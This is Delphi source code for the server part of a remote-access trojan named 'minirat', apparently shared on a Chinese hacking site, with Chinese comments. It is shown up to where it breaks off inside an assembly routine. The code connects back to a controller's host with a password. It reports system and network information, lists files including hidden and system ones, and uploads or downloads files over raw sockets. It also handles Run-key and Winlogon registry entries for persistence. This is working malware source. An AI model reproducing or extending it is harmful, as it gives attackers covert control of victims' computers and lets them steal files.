📄
字号:
{南域剑盟 www.98exe.com 上兴QQ:51992
声明:程序由南域剑盟98exe.com成员网上搜集,不承担技术及版权问题}
{随便加了点注释,文件传输不详细注了,大家网上找相关资料看}
unit UServer;
interface
uses
Windows, Messages, Winsock, Wininet, untCMDList, ShellApi, psApi, TLHelp32,
untHTTPDownload,SysUtils2,URsConst;
const
version = '0.50B';
{ host : string = '127.0.0.1';
password : string = 'shj';
port : integer = 80;
}
{文件属性常量}
faReadOnly = $00000001; //只读文件
faHidden = $00000002; //隐藏文件
faSysFile = $00000004; // 系统文件
faVolumeID = $00000008; // 卷标文件
faDirectory = $00000010; // 目录
faArchive = $00000020; //归档文件
faAnyFile = $0000003F; // 任意文件
type
TFileName = type string; //文件
TSearchRec = record
Time: Integer;
Size: Integer;
Attr: Integer;
Name: TFileName;
ExcludeAttr: Integer;
FindHandle: THandle;
FindData: TWin32FindData;
end;
LongRec = packed record
case Integer of
0: (Lo, Hi: Word);
1: (Words: array[0..1] of Word);
2: (Bytes: array[0..3] of Byte);
end;
TInfo = record
Name: string;
Host: string;
Port: Integer;
Size: Integer;
end;
PInfo = ^TInfo;
TServer = class(TObject)
private
Sock: TSocket;
Addr: TSockAddrIn;
WSA: TWSAData;
public
procedure Connect;
procedure SendData(Text: string);
procedure ReceiveData;
function GetNet: string;
end;
var
Serv: TServer;
PieZhi:TRedCtrl;
ConFile:string;
Info: TInfo;
Port: Integer;
Close: Boolean;
LastDir: string;
Host: string;
Password: string;
{ dName: string;
dAName: string;
dSystem: string;
dMelt: string;
dDelay: string;
dPort: string;
dDns: string;
dPass: string;
dRegName: string;
dRegLM: string;
dRegCU: string;
dRegSH: string;
dInject: string;
}
//判断网络是否链接--------------------------------------------
function InternetGetConnectedStateEx(
lpdwFlags: LPDWORD;
lpszConnectionName: LPTSTR;
dwNameLen: DWORD;
dwReserved: DWORD): BOOL; stdcall;
external 'wininet.dll' name 'InternetGetConnectedStateEx';
procedure miniratMain;
implementation
procedure SetRegValue(ROOT: hKey; Path, Value, Str: string);
var
Key: hKey;
Size: Cardinal;
begin
RegOpenKey(ROOT, pChar(Path), Key); //打开给定键
Size := 2048;
RegSetValueEx(Key, pChar(Value), 0, REG_SZ, @Str[1], Size); //写注册表
RegCloseKey(Key); //释放
end;
procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
Key: hKey;
Size: Cardinal;
begin
RegOpenKey(ROOT, pChar(Path), Key);
Size := 2048;
RegDeleteValue(Key, pChar(Value));
RegCloseKey(Key);
end;
//写入注册表-----------------------------------------------
procedure Uninstall;
begin
SetDelValue(HKEY_LOCAL_MACHINE,
'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
SetDelValue(HKEY_CURRENT_USER,
'Software\Microsoft\Windows\CurrentVersion\Run', dRegName);
SetRegValue(HKEY_LOCAL_MACHINE,
'Software\Microsoft NT\Windows\CurrentVersion\Winlogon', 'Shell',
'Explorer.exe');
ExitProcess(0);
end;
function Enumeration(dRes: PNetResource; dI: Integer): string;
var
dHandle: THandle;
K: DWord;
BufferSize: DWord;
Buffer: array[0..1023] of TNetResource;
I: Word;
Temp: string;
begin
WNetOpenEnum(2, 0, 0, dRes, dHandle);
K := 1024; // 大小为1024
BufferSize := SizeOf(Buffer); //获得盘
while (WNetEnumResource(dHandle, K, @Buffer, BufferSize) = 0) do //获得资源
for I := 0 to K - 1 do
begin
if (Buffer[I].dwDisplayType = RESOURCEDISPLAYTYPE_SERVER) then
//显示类型为服务器(工作组)
begin
Temp := IntToStr(C_INFONETWORK) + ' ' + pChar(Buffer[I].lpRemoteName) +
' "' + pChar(Buffer[I].lpComment) + '"'#10;
if (Pos(Temp, Result) = 0) then
Result := Result + Temp;
end;
if (Buffer[I].dwUsage > 0) then
begin
Temp := Enumeration(@Buffer[I], 1);
if (Pos(Temp, Result) = 0) then
Result := Result + Temp;
end;
end;
WNetCloseEnum(dHandle); // 获取所有目录
end;
function GetNetworkInfo: string;
begin
Result := IntToStr(C_INFONETWORK) + ' Domains Comments'#10 +
Enumeration(nil, 0);
end;
//尾部加入资源,版本,地址,密码,端口------------------
function GetServerInfo: string;
begin
Result := IntToStr(C_INFOSERVER) + ' Version ' + Version + #10 +
IntToStr(C_INFOSERVER) + ' RmtAddr ' + PieZhi.dDnsHost + #10 +
IntToStr(C_INFOSERVER) + ' Password ' + PieZhi.dPass + #10 +
IntToStr(C_INFOSERVER) + ' SrvPort ' + PieZhi.dLocalPort + #10 +
IntToStr(C_INFOSERVER) + ' RmtPort ' + PieZhi.dRemotePort + #10;
end;
//记录-----
function GetInformation: string;
var
HostName: array[0..069] of Char;
Sysdir: array[0..255] of Char;
MemoryStatus: TMemoryStatus;
Total: Integer;
begin
GetHostName(HostName, SizeOf(HostName));
GetSystemDirectory(Sysdir, 256);
MemoryStatus.dwLength := SizeOf(TMemoryStatus);
GlobalMemoryStatus(MemoryStatus);
Total := GetTickCount() div 1000;
Result := IntToStr(C_INFOSYSTEM) + ' Hostname ' + Hostname + #10 +
IntToStr(C_INFOSYSTEM) + ' System ' + string(SysDir) + #10 +
IntToStr(C_INFOSYSTEM) + ' Memory(Total) ' +
IntToStr(MemoryStatus.dwTotalPhys div 1048576) + ' MB Total'#10 +
IntToStr(C_INFOSYSTEM) + ' Memory(Free) ' + IntToStr(MemoryStatus.dwAvailPhys
div 1048576) + ' MB Free'#10 +
IntToStr(C_INFOSYSTEM) + ' Memory(Used) ' +
IntToStr(MemoryStatus.dwMemoryLoad) + '% In Use'#10 +
IntToStr(C_INFOSYSTEM) + ' Uptime ' + IntToStr(Total div 86400) + ' days ' +
IntToStr((Total mod 86400) div 3600) + ' hours ' +
IntToStr(((Total mod 86400) mod 3600) div 60) + ' min ' +
IntToStr((((Total mod 86400) mod 3600) mod 60) div 1) + ' sec'#10;
end;
//检查本机网络状态---------------------
function TServer.GetNet: string;
var
W: DWord;
Name: array[0..128] of Char;
begin
FillChar(Name, SizeOf(Name), 0);
InternetGetConnectedStateEx(@W, Name, 128, 0); //检查连接internet状态
if (W and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then
Result := 'LAN (' + string(Name) + ')'
else
Result := 'Dial-Up (' + string(Name) + ')';
end;
// Send Data
function SendData(Sock: TSocket; Text: string; var sByte: Cardinal): Integer;
var
Len: Integer;
begin
Result := Length(Text);
Len := Send(Sock, Text[1], Length(Text), 0);
Inc(sByte, Len);
end;
//下面基本都是功能了,文件的操作等
procedure StripOutCmd(Text: string; var Cmd: string);
begin Cmd := Copy(Text, 1, Pos(' ', Text) - 1);
end;
procedure StripOutParam(Text: string; var Param: array of string);
var
I: Word;
begin
if Text = '' then Exit;
FillChar(Param, SizeOf(Param), 0);
Delete(Text, 1, Pos(' ', Text));
if Text = '' then Exit;
if (Text[Length(Text)] <> ' ') then Text := Text + ' ';
I := 0;
while (Pos(' ', Text) > 0) do
begin
Param[I] := Copy(Text, 1, Pos(' ', Text) - 1);
Inc(I);
Delete(Text, 1, Pos(' ', Text));
if (I >= 100) then Break;
end;
end;
// 传递文件
function RecvFile(P: Pointer): DWord; STDCALL;
var
Sock: TSocket;
Addr: TSockAddrIn;
WSA: TWSAData;
BytesRead: Cardinal;
F: file;
Buf: array[0..8192] of Char;
dErr: Integer;
Name: string;
Host: string;
Port: Integer;
Size: Integer;
T: string;
begin
Name := PInfo(P)^.Name;
Host := PInfo(P)^.Host;
Port := PInfo(P)^.Port;
Size := PInfo(P)^.Size;
WSAStartUp($0101, WSA);
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(Port);
Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
{$I-}
T := 'ok';
AssignFile(F, Name);
Rewrite(F, 1);
repeat
FillChar(Buf, SizeOf(Buf), 0);
dErr := Recv(Sock, Buf, SizeOf(Buf), 0);
if (dErr > 0) then
BlockWrite(F, Buf, dErr)
else
Break;
Dec(Size, dErr);
dErr := Send(Sock, T[1], Length(T), 0);
until Size <= 0;
CloseFile(F);
{$I+}
WSACleanUp();
end;
//定时检测
function SendFile(P: Pointer): DWord; STDCALL;
var
Sock: TSocket;
Addr: TSockAddrIn;
WSA: TWSAData;
BytesRead: Cardinal;
F: file;
Buf: array[0..8192] of Char;
dErr: Integer;
Name: string;
Host: string;
Port: Integer;
T: string;
begin
Name := PInfo(P)^.Name;
Host := PInfo(P)^.Host;
Port := PInfo(P)^.Port;
WSAStartUp($0101, WSA);
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(Port);
Addr.sin_addr.S_addr := inet_Addr(pchar(Host));
if (connect(Sock, Addr, SizeOf(Addr)) <> 0) then Exit;
{$I-}
T := 'ok';
AssignFile(F, Name);
Reset(F, 1);
repeat
BlockRead(F, Buf, SizeOf(Buf), BytesRead);
if (BytesRead = 0) then Break;
Send(Sock, Buf[0], SizeOf(Buf), 0);
FillChar(Buf, SizeOf(Buf), 0);
Recv(Sock, Buf, SizeOf(Buf), 0);
until BytesRead = 0;
CloseFile(F);
{$I+}
WSACleanUp();
end;
//取回的文件大小 ------------------------------
function GetFileSize(FileName: string): Int64;
var
H: THandle;
Data: TWIN32FindData;
begin
Result := -1;
H := FindFirstFile(pChar(FileName), Data);
if (H <> INVALID_HANDLE_VALUE) then
begin
Windows.FindClose(H);
Result := Int64(Data.nFileSizeHigh) shl 32 + Data.nFileSizeLow;
end;
end;
//将IP解释成主机名
function RemoteAddr(Sock: TSocket): TSockAddrIn;
var
W: TWSAData;
S: TSockAddrIn;
I: Integer;
begin
WSAStartUP($0101, W);
I := SizeOf(S);
GetPeerName(Sock, S, I);
WSACleanUP();
Result := S;
end;
function RemoteAddress(Sock: TSocket): string;
begin
Result := INET_NTOA(RemoteAddr(Sock).sin_addr);
end;
function FindMatchingFile(var F: TSearchRec): Integer;
var
LocalFileTime: TFileTime; //文件创建的时间
begin
with F do
begin
while FindData.dwFileAttributes and ExcludeAttr <> 0 do
if not FindNextFile(FindHandle, FindData) then
begin
Result := GetLastError;
Exit;
end;
FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo);
Size := FindData.nFileSizeLow;
Attr := FindData.dwFileAttributes;
Name := FindData.cFileName;
end;
Result := 0;
end;
procedure FindClose(var F: TSearchRec);
begin
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(F.FindHandle);
F.FindHandle := INVALID_HANDLE_VALUE;
end;
end;
function FindFirst(const Path: string; Attr: Integer;
var F: TSearchRec): Integer;
const
faSpecial = faHidden or faSysFile or faVolumeID or faDirectory;
begin
F.ExcludeAttr := not Attr and faSpecial;
F.FindHandle := FindFirstFile(PChar(Path), F.FindData);
if F.FindHandle <> INVALID_HANDLE_VALUE then
begin
Result := FindMatchingFile(F);
if Result <> 0 then FindClose(F);
end
else
Result := GetLastError;
end;
function FindNext(var F: TSearchRec): Integer;
begin
if FindNextFile(F.FindHandle, F.FindData) then
Result := FindMatchingFile(F)
else
Result := GetLastError;
end;
//找到的是个目录而不是文件...
procedure GenerateList(Dir: string; dNr: Integer);
var
SR: TSearchRec;
Temp: string;
Att: string;
begin
if (Dir = '') then Exit;
if (Dir[Length(Dir)] <> '\') then Dir := Dir + '\';
if FindFirst(Dir + '*.*', faDirectory or faHidden or faSysFile or faVolumeID or
faArchive or faAnyFile, SR) = 0 then
repeat
if ((SR.Attr and faDirectory) = faDirectory) then
begin
Temp := IntToStr(C_REQUESTLIST) + ' DIR 0 ' + SR.Name + #10;
if (dNr = 1) then
Send(Serv.Sock, Temp[1], Length(Temp), 0);
end
else
begin
Att := '';
if ((SR.Attr and faReadOnly) = faReadOnly) then
Att := Att + 'ReadOnly/';
if ((SR.Attr and faHidden) = faHidden) then Att := Att + 'Hidden/';
if ((SR.Attr and faSysFile) = faSysFile) then Att := Att + 'SysFile/';
if ((SR.Attr and faVolumeID) = faVolumeID) then
Att := Att + 'VolumeID/';
if ((SR.Attr and faArchive) = faArchive) then Att := Att + 'Archive/';
if ((SR.Attr and faAnyFile) = faAnyFile) then Att := Att + 'AnyFile/';
if Copy(Att, length(Att), 1) = '/' then
Delete(Att, Length(Att), 1);
Temp := IntToStr(C_REQUESTLIST) + ' ' + Att + ' ' + IntToStr(SR.Size) +
' ' + SR.Name + #10;
if (dNr = 2) then
Send(Serv.Sock, Temp[1], Length(Temp), 0);
end;
until FindNext(SR) <> 0;
end;
procedure CvtInt;
asm
OR CL,CL
JNZ @CvtLoop
@C1: OR EAX,EAX
JNS @C2
NEG EAX
CALL @C2
MOV AL,'-'
INC ECX
DEC ESI
MOV [ESI],AL
RET
@C2: MOV ECX,10
@CvtLoop:
PUSH EDX
PUSH ESI
@D1: XOR EDX,EDX
DIV ECX
DEC ESI
ADD DL,'0'
CMP DL,'0'+10
JB @D2
ADD DL,('A'-'0')-10
@D2: MOV [ESI],DL
OR EAX,EAX
JNE @D1
POP ECX
POP EDX
SUB ECX,ESI
SUB EDX,ECX
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -